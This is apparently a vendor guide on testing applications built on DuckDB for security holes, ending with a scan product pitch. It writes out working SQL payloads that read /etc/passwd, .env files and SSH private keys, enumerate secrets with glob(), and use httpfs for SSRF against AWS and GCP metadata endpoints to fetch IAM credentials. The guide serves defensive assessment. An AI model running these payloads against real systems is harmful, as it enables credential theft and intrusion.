DuckDB is an in-process analytical SQL database that has rapidly become the standard for embedded analytics — used in data APIs, analytics backends, notebook environments, and CLI tools. Its powerful SQL capabilities are also its primary security risk surface: read_csv(), read_parquet(), and read_json() accept file system paths and can read arbitrary local files when the path is user-controlled; the httpfs extension (commonly auto-loaded) allows SELECT * FROM read_csv('http://169.254.169.254/latest/meta-data/') — SSRF from the application host; the ATTACH statement mounts database files by path, enabling path traversal to SQLite databases containing application secrets; glob() lists directory contents; and applications that pass user input into DuckDB SQL queries without sanitization are vulnerable to injection attacks that chain these primitives into full file system read access. This guide covers systematic security assessment of applications using DuckDB.
# DuckDB's table functions accept file system paths
# If an application exposes DuckDB SQL execution or interpolates user input into paths,
# these functions can read arbitrary local files
-- Read system password file via read_csv
SELECT * FROM read_csv('/etc/passwd', delim=':', header=false,
columns={'user': 'VARCHAR', 'pass': 'VARCHAR', 'uid': 'INT', 'gid': 'INT',
'info': 'VARCHAR', 'home': 'VARCHAR', 'shell': 'VARCHAR'});
-- Read application configuration files
SELECT * FROM read_csv('/app/.env', delim='=', header=false);
SELECT * FROM read_json('/app/config/database.json');
SELECT * FROM read_parquet('/tmp/cache/session_data.parquet');
-- List directory contents via glob()
SELECT * FROM glob('/app/**/*.env');
SELECT * FROM glob('/home/*/.ssh/authorized_keys');
SELECT * FROM glob('/etc/**/*.conf');
-- Read SSH private keys
SELECT content FROM read_text('/root/.ssh/id_rsa');
# The httpfs extension is installed by default in many DuckDB distributions
# It allows reading files from HTTP, HTTPS, and S3 URLs
# When user input reaches DuckDB path parameters, this becomes SSRF
-- AWS metadata service SSRF (check IAM role credentials)
SELECT * FROM read_text('http://169.254.169.254/latest/meta-data/iam/security-credentials/');
-- GCP metadata service SSRF
SELECT * FROM read_text('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token')
SETTINGS('http.extra_http_headers'='Metadata-Flavor:Google');
-- Internal service enumeration
SELECT * FROM read_json('http://internal-api.company.internal/v1/admin/config');
-- S3 bucket access using instance credentials (if httpfs + S3 support loaded)
-- SELECT * FROM read_parquet('s3://internal-data-bucket/sensitive/data.parquet');
SET enable_external_access=false or use DuckDB's extension blocking to prevent httpfs from being loaded in web application contexts| Security Test | Method | Risk |
|---|---|---|
| Local file read via read_csv/read_text | SELECT * FROM read_csv('/etc/passwd') — if user input reaches path parameter, reads arbitrary local files | Critical |
| SSRF via httpfs to cloud metadata | SELECT * FROM read_text('http://169.254.169.254/...') — reads AWS/GCP/Azure metadata including IAM credentials | Critical |
| Directory listing via glob() | SELECT * FROM glob('/app/**/*.env') — lists all .env files on the filesystem | High |
| ATTACH mounts other database files | ATTACH '/app/data/users.sqlite' AS u — mounts SQLite/DuckDB files by path enabling cross-database data access | High |
| SQL injection in DuckDB-backed API | Inject into filter parameters — DuckDB SQL injections can chain into file read primitives | High |
| DuckDB database file unencrypted | Read .duckdb files directly — all stored tables and query results accessible to anyone with filesystem access | Medium |
Ironimo tests applications using DuckDB for local file read exposure via read_csv, read_parquet, read_json, and read_text path injection, SSRF via httpfs extension fetching internal HTTP endpoints and cloud metadata services, directory enumeration via glob() function with attacker-controlled patterns, ATTACH path traversal mounting arbitrary database files, SQL injection in DuckDB-backed analytics APIs enabling chained file system access, and DuckDB database files accessible without encryption on server filesystems.
Start free scan